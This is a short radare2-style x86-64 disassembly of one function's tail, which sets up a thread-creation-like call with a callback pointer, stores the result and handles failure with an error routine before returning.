mov rcx, qword [rsp + 0x70]
lea rcx, [0x1805d4089]
call fcn.18024f670
mov rdx, qword [rsp + 0x78]
lea rcx, [rsp + 0x38]
call fcn.180079580
nop
lea rax, [0x1800789f0]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x70]
add rax, 8
mov qword [rsp + 0x50], rax
lea rcx, [rsp + 0x38]
call fcn.18007cf90
mov rcx, qword [rsp + 0x50]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], 0
mov r9, rax
mov r8, qword [rsp + 0x48]
xor edx, edx
xor ecx, ecx
call fcn.1802bd070
mov rcx, qword [rsp + 0x70]
mov qword [rcx], rax
mov rax, qword [rsp + 0x70]
cmp qword [rax], 0
je 0x180078d47
lea rcx, [rsp + 0x38]
call fcn.18007d6c0
jmp 0x180078d5e
mov rax, qword [rsp + 0x70]
mov dword [rax + 8], 0
mov ecx, 6
call fcn.18020e600
nop
lea rcx, [rsp + 0x38]
call fcn.18007a290
mov rcx, rsp
lea rdx, [0x1804027d0]
call fcn.18024f440
add rsp, 0x60
pop rdi
ret